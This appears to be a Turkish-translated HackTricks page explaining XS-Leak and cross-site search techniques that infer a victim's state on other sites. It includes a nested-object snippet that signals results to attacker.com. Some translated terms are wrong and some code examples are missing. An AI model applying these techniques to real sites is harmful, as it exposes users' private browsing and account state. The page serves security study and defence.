XS-Search/XS-Leaks

Reading time: 49 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

XS-Search, yan kanal zafiyetlerini kullanarak çapraz köken bilgilerini çıkarmak için kullanılan bir yöntemdir.

Bu saldırıda yer alan ana bileşenler şunlardır:

  • Zayıf Web: Bilgilerin çıkarılmasının hedeflendiği web sitesi.
  • Saldırganın Webi: Saldırgan tarafından oluşturulan, kurbanın ziyaret ettiği ve istismarı barındıran kötü niyetli web sitesi.
  • Dahil Etme Yöntemi: Zayıf Web'in Saldırganın Webi'ne dahil edilmesi için kullanılan teknik (örneğin, window.open, iframe, fetch, href ile HTML etiketi vb.).
  • Sızıntı Tekniği: Dahil etme yöntemi aracılığıyla toplanan bilgilere dayanarak Zayıf Web'in durumundaki farklılıkları ayırt etmek için kullanılan teknikler.
  • Durumlar: Saldırganın ayırt etmeyi hedeflediği Zayıf Web'in iki potansiyel durumu.
  • Tespit Edilebilir Farklılıklar: Saldırganın Zayıf Web'in durumunu çıkarmak için güvendiği gözlemlenebilir varyasyonlar.

Tespit Edilebilir Farklılıklar

Zayıf Web'in durumlarını ayırt etmek için analiz edilebilecek birkaç yön vardır:

  • Durum Kodu: Çeşitli HTTP yanıt durum kodları arasında ayırt etme, sunucu hataları, istemci hataları veya kimlik doğrulama hataları gibi.
  • API Kullanımı: Sayfalar arasında Web API'lerinin kullanımını belirleme, çapraz köken bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma.
  • Yönlendirmeler: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenler.
  • Sayfa İçeriği: HTTP yanıt gövdesindeki veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin gömülü çerçevelerin sayısı veya resimlerdeki boyut farklılıkları.
  • HTTP Başlığı: Belirli bir HTTP yanıt başlığının varlığını veya muhtemel değerini not etme, X-Frame-Options, Content-Disposition ve Cross-Origin-Resource-Policy gibi başlıklar dahil.
  • Zamanlama: İki durum arasındaki tutarlı zaman farklılıklarını fark etme.

Dahil Etme Yöntemleri

  • HTML Elemanları: HTML, çapraz köken kaynak dahil etme için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcıyı HTML dışı bir kaynağı talep etmeye zorlar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi https://github.com/cure53/HTTPLeaks adresinde bulunabilir.
  • Çerçeveler: iframe, object ve embed gibi elemanlar, HTML kaynaklarını doğrudan saldırganın sayfasına gömebilir. Eğer sayfa çerçeve korumasından yoksunsa, JavaScript, içerikWindow özelliği aracılığıyla çerçevelenmiş kaynağın pencere nesnesine erişebilir.
  • Açılır Pencereler: window.open yöntemi, bir kaynağı yeni bir sekmede veya pencerede açar, JavaScript'in SOP'ye uygun olarak yöntemler ve özelliklerle etkileşimde bulunması için bir pencere tutamacı sağlar. Açılır pencereler, genellikle tek oturum açma işlemlerinde kullanılır, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını aşar. Ancak, modern tarayıcılar açılır pencere oluşturmayı belirli kullanıcı eylemleriyle sınırlamaktadır.
  • JavaScript İstekleri: JavaScript, XMLHttpRequests veya Fetch API kullanarak hedef kaynaklara doğrudan istekler yapmaya izin verir. Bu yöntemler, isteği takip etme gibi isteğin üzerinde hassas kontrol sağlar.

Sızıntı Teknikleri

  • Olay İşleyici: XS-Leaks'teki klasik bir sızıntı tekniği, onload ve onerror gibi olay işleyicilerin kaynak yükleme başarısı veya başarısızlığı hakkında bilgi sağlamasıdır.
  • Hata Mesajları: JavaScript istisnaları veya özel hata sayfaları, ya doğrudan hata mesajından ya da varlığı ve yokluğu arasındaki farkı ayırt ederek sızıntı bilgisi sağlayabilir.
  • Küresel Sınırlar: Bir tarayıcının fiziksel sınırlamaları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırları gibi, bir eşik aşıldığında sinyal verebilir ve sızıntı tekniği olarak hizmet edebilir.
  • Küresel Durum: Tarayıcıların küresel durumları (örneğin, Geçmiş arayüzü) ile tespit edilebilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki giriş sayısı, çapraz köken sayfalar hakkında ipuçları verebilir.
  • Performans API'si: Bu API, mevcut sayfanın performans detaylarını sağlar, belgenin ve yüklenen kaynakların ağ zamanlamasını içerir, talep edilen kaynaklar hakkında çıkarımlar yapmayı mümkün kılar.
  • Okunabilir Özellikler: Bazı HTML özellikleri çapraz köken okunabilir ve sızıntı tekniği olarak kullanılabilir. Örneğin, window.frame.length özelliği, JavaScript'in bir web sayfasında çapraz köken olarak dahil edilen çerçeveleri saymasına olanak tanır.

XSinator Aracı ve Makalesi

XSinator, birçok bilinen XS-Leaks'i kontrol etmek için otomatik bir araçtır ve makalesinde açıklanmıştır: https://xsinator.com/paper.pdf

Araca şu adresten erişebilirsiniz: https://xsinator.com/

warning

Hariç Tutulan XS-Leaks: XSinator'daki diğer sızıntılarla çelişeceği için hizmet çalışanlarına dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de hariç tutmayı seçtik. Örneğin, CrossOrigin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntıları veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk.

Zaman Tabanlı Teknikler

Aşağıdaki tekniklerden bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etmek için zaman kullanacak. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır.

Saatler: performance.now() API'si, geliştiricilerin yüksek çözünürlüklü zaman ölçümleri almasına olanak tanır.
Saldırganların örtük saatler oluşturmak için kötüye kullanabileceği önemli sayıda API vardır: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animasyonları ve diğerleri.
Daha fazla bilgi için: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Olay İşleyici Teknikleri

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Kod örneği, JS'den betik nesnelerini yüklemeye çalışır, ancak diğer etiketler (nesneler, stil sayfaları, resimler, sesler vb.) de kullanılabilir. Ayrıca, etiketi doğrudan enjekte etmek ve onload ve onerror olaylarını etiketin içinde tanımlamak da mümkündür (JS'den enjekte etmek yerine).

Bu saldırının ayrıca bir betiksiz versiyonu da vardır:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Bu durumda eğer example.com/404 bulunamazsa attacker.com/?error yüklenecektir.

Onload Zamanlaması

performance.now example

Onload Zamanlaması + Zorunlu Ağır Görev

Bu teknik, bir öncekiyle aynıdır, ancak saldırgan ayrıca cevap olumlu veya olumsuz olduğunda ilgili bir süre alacak bir eylemi zorlayacaktır ve o süreyi ölçer.

performance.now + Force heavy task

unload/beforeunload Zamanlaması

Bir kaynağı almak için geçen süre, unload ve beforeunload olaylarını kullanarak ölçülebilir. beforeunload olayı, tarayıcının yeni bir sayfaya geçiş yapmadan önce tetiklenirken, unload olayı geçişin gerçekten gerçekleştiği zaman meydana gelir. Bu iki olay arasındaki zaman farkı, tarayıcının kaynağı almak için harcadığı süreyi belirlemek için hesaplanabilir.

Sandboxed Çerçeve Zamanlaması + onload

Framing Protections yokluğunda, bir sayfanın ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken zamanın bir saldırgan tarafından ölçülebileceği gözlemlenmiştir. Bu ölçüm genellikle mümkündür çünkü bir iframe'in onload işleyicisi, kaynak yüklemesi ve JavaScript yürütmesi tamamlandıktan sonra tetiklenir. Script yürütmesinin getirdiği değişkenliği aşmak için, bir saldırgan <iframe> içinde sandbox niteliğini kullanabilir. Bu niteliğin dahil edilmesi, JavaScript'in yürütülmesi gibi birçok işlevselliği kısıtlar ve böylece ağırlıklı olarak ağ performansından etkilenen bir ölçüm yapılmasını kolaylaştırır.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Sayfa İçeriği
  • More info:
  • Summary: Eğer doğru içerik erişildiğinde sayfa hatası verebiliyorsanız ve herhangi bir içerik erişildiğinde doğru bir şekilde yükleniyorsa, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz.
  • Code Example:

Farz edelim ki iframe içinde gizli içeriği olan sayfayı ekleyebilirsiniz.

Kurbanın "flag" içeren dosyayı bir Iframe kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF istismar ederek). Iframe içinde onload olayı her zaman en az bir kez çalıştırılacağını biliyorsunuz. Sonra, iframe'in URL'sini değiştirerek sadece hash içeriğini değiştirebilirsiniz.

Örneğin:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Eğer ilk URL başarıyla yüklendiyse, o zaman URL'nin hash kısmını değiştirirken onload olayı tekrar tetiklenmeyecek. Ama eğer sayfa yüklenirken bir tür hata almışsa, o zaman onload olayı tekrar tetiklenecektir.

Böylece, erişildiğinde doğru yüklenmiş bir sayfa ile hata olan bir sayfa arasında ayrım yapabilirsiniz.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Sayfa İçeriği
  • More info:
  • Summary: Eğer sayfa hassas içeriği dönüyorsa, veya kullanıcı tarafından kontrol edilebilen bir içerik dönüyorsa. Kullanıcı geçersiz durumda geçerli JS kodu ayarlayabilir, her denemeyi <script> etiketleri içinde yükleyebilir, böylece geçersiz durumlarda saldırganların kodu çalıştırılır, ve geçerli durumlarda hiçbir şey çalıştırılmaz.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elemanları
  • Detectable Difference: Durum Kodu & Başlıklar
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB), web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. CORB'ye tabi bir yanıt, nosniff ile birlikte CORB korumalı Content-Type ve 2xx durum kodu dönerse, CORB yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, durum kodu (başarı veya hata gösteren) ve Content-Type (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar.
  • Code Example:

Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin.

onblur

Bir iframe içinde bir sayfayı yüklemek ve sayfanın belirtilen ID ile iframe içindeki eleman üzerine odaklanmasını sağlamak mümkündür, ardından bir onblur sinyali tetiklendiğinde, ID elemanı var demektir.
Aynı saldırıyı portal etiketleri ile de gerçekleştirebilirsiniz.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Kullanımı
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessage'dan hassas bilgi toplayın veya postMessages'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanın.
  • Code Example: Tüm postMessages'ı dinleyen herhangi bir kod.

Uygulamalar genellikle postMessage yayınlarını farklı kökenler arasında iletişim kurmak için kullanır. Ancak, targetOrigin parametresi düzgün bir şekilde belirtilmezse, bu yöntem istemeden hassas bilgileri açığa çıkarabilir, bu da herhangi bir pencerenin mesajları almasına izin verir. Ayrıca, bir mesajın alınması, bir oracle olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının durumu veya kimliği hakkında bilgi açığa çıkarabilir, örneğin, kimlik doğrulaması yapılıp yapılmadığı gibi.

Global Limits Techniques

WebSocket API

Bir hedef sayfanın WebSocket bağlantılarını kullanıp kullanmadığını belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgileri sızdırmasına olanak tanır.

Eğer bir kaynak maksimum sayıda WebSocket bağlantı nesnesi kullanıyorsa, bağlantı durumlarından bağımsız olarak, yeni nesnelerin oluşturulması JavaScript istisnalarına yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. Atılan istisnaların sayısı, hedef web sitesinin kullandığı WebSocket bağlantı sayısıdır.

Payment API

Bu XS-Sızıntı, bir saldırganın bir çapraz kaynaklı sayfanın ödeme talebi başlattığını tespit etmesine olanak tanır.

Çünkü aynı anda yalnızca bir ödeme talebi aktif olabileceğinden, eğer hedef web sitesi Ödeme Talebi API'sini kullanıyorsa, bu API'yi kullanma girişimleri başarısız olacak ve bir JavaScript istisnası oluşturacaktır. Saldırgan, Ödeme API UI'sini periyodik olarak göstermeye çalışarak bunu istismar edebilir. Eğer bir girişim bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik girişimleri gizleyebilir.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript, tek iş parçacıklı bir olay döngüsü eşzamanlılık modelinde çalışır, bu da sadece bir görevi aynı anda gerçekleştirebileceği anlamına gelir. Bu özellik, farklı bir kökenden gelen kodun yürütülmesi için ne kadar zaman gerektiğini ölçmek için istismar edilebilir. Bir saldırgan, sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun yürütme süresini olay döngüsünde ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenecektir. Eğer diğer kökenler de aynı havuza olay gönderiyorsa, bir saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek bu dış olayların yürütülmesi için geçen süreyi çıkarabilir. Olay döngüsündeki gecikmeleri izleme yöntemi, farklı kökenlerden gelen kodun yürütme süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir.

warning

Bir yürütme zamanlamasında, daha hassas ölçümler elde etmek için ağ faktörlerini ortadan kaldırmak mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Bir web işleminin yürütme süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından olay döngüsünün tekrar ne kadar sürede kullanılabilir hale geldiğini zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun yürütülmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak yürütülür ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir.
  • Code Example:

Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli bir avantajı, Site İzolasyonu'nu aşma potansiyelidir. Site İzolasyonu, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kökenin yürütme zamanlamasını etkileyerek, o kökenin faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişim gerektirmez, bunun yerine o kökenin faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece Site İzolasyonu tarafından oluşturulan koruyucu engellerden kaçınır.

warning

Bir yürütme zamanlamasında, daha hassas ölçümler elde etmek için ağ faktörlerini ortadan kaldırmak mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.

Connection Pool

  • Inclusion Methods: JavaScript İstekleri
  • Detectable Difference: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef web'i yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başladığı zamana kadar geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
  • Code Example:

Connection Pool Examples

Tarayıcılar, sunucu iletişimi için soketler kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle, tarayıcılar eşzamanlı soket sayısına bir sınır koymak zorundadır. Saldırganlar bu sınırlamayı aşağıdaki adımlarla istismar edebilir:

  1. Tarayıcının soket limitini belirleyin, örneğin, 256 global soket.
  2. 255 soketi, bağlantıları tamamlamadan açık tutacak şekilde çeşitli hostlara 255 istek başlatarak uzun bir süre boyunca doldurun.
    1. soketi hedef sayfaya bir istek göndermek için kullanın.
  3. Farklı bir hosta 257. bir istek yapmaya çalışın. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek bir soket mevcut olana kadar bekleyecektir. Bu isteğin ilerlemesi için geçen gecikme, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zaman bilgisi sağlar. Bu çıkarım, 2. adımda yer alan 255 soketin hala meşgul olması nedeniyle mümkündür; bu da, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin mevcut hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.

Daha fazla bilgi için: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript İstekleri
  • Detectable Difference: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
  • More info:
  • Summary: Önceki teknikle aynı ama tüm soketleri kullanmak yerine, Google Chrome aynı kökene 6 eşzamanlı istek sınırı koyar. Eğer 5'ini engellersek ve sonra 6.'sını başlatırsak, bunu zamanlayabiliriz ve eğer kurban sayfasının aynı uç noktaya daha fazla istek göndermesini sağlarsak, 6. istek daha uzun sürecek ve bunu tespit edebiliriz.

Performance API Techniques

Performance API web uygulamalarının performans metrikleri hakkında içgörüler sunar ve Resource Timing API ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süreleri gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında Timing-Allow-Origin: * başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.

Bu veri zenginliği, performance.getEntries veya performance.getEntriesByName gibi yöntemler aracılığıyla alınabilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, performance.now() ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi bazı tarayıcılardaki belirli işlemler için performance.now()'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.

Zamanlama ölçümlerinin ötesinde, Performance API güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki performance nesnesinde sayfaların varlığı veya yokluğu, X-Frame-Options uygulandığını gösterebilir. Özellikle, X-Frame-Options nedeniyle bir sayfanın bir çerçevede görüntülenmesi engellenirse, bu sayfa performance nesnesinde kaydedilmeyecek ve sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlayacaktır.

Error Leak

HTTP yanıt durum kodları arasında ayrım yapmak mümkündür çünkü bir hata ile sonuçlanan istekler performans girişi oluşturmaz.

Style Reload Error

Önceki teknikte, yüklenemeyen kaynakların iki kez yüklendiği durumları belirleyen iki tarayıcı hatası tespit edilmiştir. Bu, Performans API'sinde birden fazla girişe yol açar ve bu nedenle tespit edilebilir.

Request Merging Error

Bu teknik, bahsedilen belgede bir tabloda bulunmuştur ancak teknikle ilgili bir açıklama bulunmamıştır. Ancak, https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak adresinde kontrol ederek kaynak kodunu bulabilirsiniz.

Empty Page Leak

Bir saldırgan, bir isteğin boş bir HTTP yanıt gövdesi ile sonuçlanıp sonuçlanmadığını tespit edebilir çünkü boş sayfalar bazı tarayıcılarda performans girişi oluşturmaz.

XSS-Auditor Leak

Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un meşru betikleri yanlışlıkla engelleyebileceğini ve yanlış pozitiflere yol açabileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynaklı sayfalardaki belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavrama XS-Sızıntılar denir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olsa da, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunmaktadır.

X-Frame Leak

Eğer bir sayfanın bir iframe içinde görüntülenmesine izin verilmezse, bu sayfa performans girişi oluşturmaz. Sonuç olarak, bir saldırgan X-Frame-Options yanıt başlığını tespit edebilir.
Aynı şey bir embed etiketi kullanıldığında da geçerlidir.

Download Detection

Aynı şekilde, içerik dağıtım başlığı nedeniyle indirilmiş bir kaynak da performans girişi oluşturmaz. Bu teknik tüm büyük tarayıcılarda çalışır.

Redirect Start Leak

Bazı tarayıcıların çapraz kaynaklı istekler için fazla bilgi kaydetme davranışını istismar eden bir XS-Sızıntı örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi niteliği tanımlar. Ancak, SA'da, kullanıcıyı hedef sayfa tarafından yönlendirildiğini tespit etmek mümkündür; Performans API'sini sorgulayarak redirectStart zamanlama verisini kontrol ederek.

Duration Redirect Leak

GC'de, yönlendirme ile sonuçlanan isteklerin süresi negatif olup, bu nedenle yönlendirme ile sonuçlanmayan isteklerden ayrılabilir.

CORP Leak

Bazı durumlarda, nextHopProtocol girişi bir sızıntı tekniği olarak kullanılabilir. GC'de, CORP başlığı ayarlandığında, nextHopProtocol boş olacaktır. SA'nın CORP etkin kaynaklar için hiç performans girişi oluşturmayacağını unutmayın.

Service Worker

Hizmet çalışanları, bir kökende çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları kesebilir, değiştirebilir ve önbelleğe alabilir.
Eğer bir hizmet çalışanı tarafından önbelleğe alınmış bir kaynağa iframe aracılığıyla erişilirse, kaynak hizmet çalışanı önbelleğinden yüklenir.
Kaynağın hizmet çalışanı önbelleğinden yüklenip yüklenmediğini tespit etmek için Performans API'si kullanılabilir.
Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belgeyi kontrol edin).

Cache

Performance API kullanarak bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.

Network Duration

Error Messages Technique

Media Error

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

MediaError arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği kullanarak mesaj içeriğini gözlemleyebilir ve böylece bir cross-origin kaynağının yanıt durumunu çıkarabilir.

CORS Hatası

Bu teknik, bir saldırgana cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini kullanır. Özellikle, bir CORS etkin isteği, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, yönlendirme hedefinin tam URL'si hata mesajı içinde ifşa edilir. Bu güvenlik açığı, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirme uç noktasını ve içerebileceği herhangi bir hassas sorgu parametresini de açığa çıkarır.

SRI Hatası

Bir saldırgan, açık hata mesajlarını kullanarak cross-origin yanıtların boyutunu çıkarabilir. Bu, Subresource Integrity (SRI) mekanizmasından kaynaklanmaktadır; bu mekanizma, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanır. SRI'nin cross-origin kaynaklarda çalışabilmesi için, bu kaynakların CORS etkin olması gerekir; aksi takdirde, bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile yapılan bir fetch isteği başarısız olduğunda bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine sahteden bir hash değeri atayarak bu hatayı kasıtlı olarak tetikleyebilirler. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu yanlışlıkla açığa çıkarır. Bu bilgi sızıntısı, bir saldırgana yanıt boyutundaki değişiklikleri ayırt etme imkanı tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.

CSP İhlali/Tespiti

Bir XS-Leak, CSP'yi kullanarak bir cross-origin sitenin farklı bir kökene yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, saldırgan sitesinde hedef alan adını izin vermektir. Hedef alana bir istek yapıldığında, bu cross-origin bir alana yönlendirilir. CSP, buna erişimi engeller ve bir ihlal raporu oluşturur; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, bu rapor yönlendirme hedefinin konumunu sızdırabilir.
Modern tarayıcılar, yönlendirme yapılan URL'yi belirtmeyecek, ancak yine de bir cross-origin yönlendirmesinin tetiklendiğini tespit edebilirsiniz.

Önbellek

Tarayıcılar, tüm web siteleri için ortak bir önbellek kullanabilir. Kökenlerinden bağımsız olarak, bir hedef sayfanın belirli bir dosyayı talep edip etmediğini çıkarmak mümkündür.

Eğer bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, kaynağı geçersiz kılabilir (yani artık önbelleğe alınmamışsa, daha fazla bilgi bağlantılarına bakın), o kaynağı yükleyebilecek bir istek yapabilir ve kaynağı kötü bir istekle (örneğin, aşırı uzun bir referans başlığı kullanarak) yüklemeye çalışabilirsiniz. Eğer kaynak yüklemesi herhangi bir hata tetiklemediyse, bunun nedeni önbelleğe alınmış olmasıdır.

CSP Yönergesi

Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir İçerik Güvenlik Politikası (CSP) önermesine olanak tanır; bu, politika yönergelerinin HTTP isteği ile birlikte iletilmesini sağlar. Normalde, gömülü içeriğin bunu bir HTTP başlığı aracılığıyla yetkilendirmesi gerekir, aksi takdirde bir hata sayfası görüntülenir. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırgana, hata sayfasını tanımlayarak bir cross-origin sayfanın belirli CSP yönergelerini tespit etme yolu açar. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen yeni bir sızıntı tekniği ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını göstermektedir.

CORP

CORP başlığı, belirli bir kaynağa no-cors cross-origin isteklerini engelleyen nispeten yeni bir web platformu güvenlik özelliğidir. Bu başlığın varlığı tespit edilebilir; çünkü CORP ile korunan bir kaynak alındığında hata verir.

CORB

Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin.

CORS hatası üzerinde Köken Yansıması yanlış yapılandırması

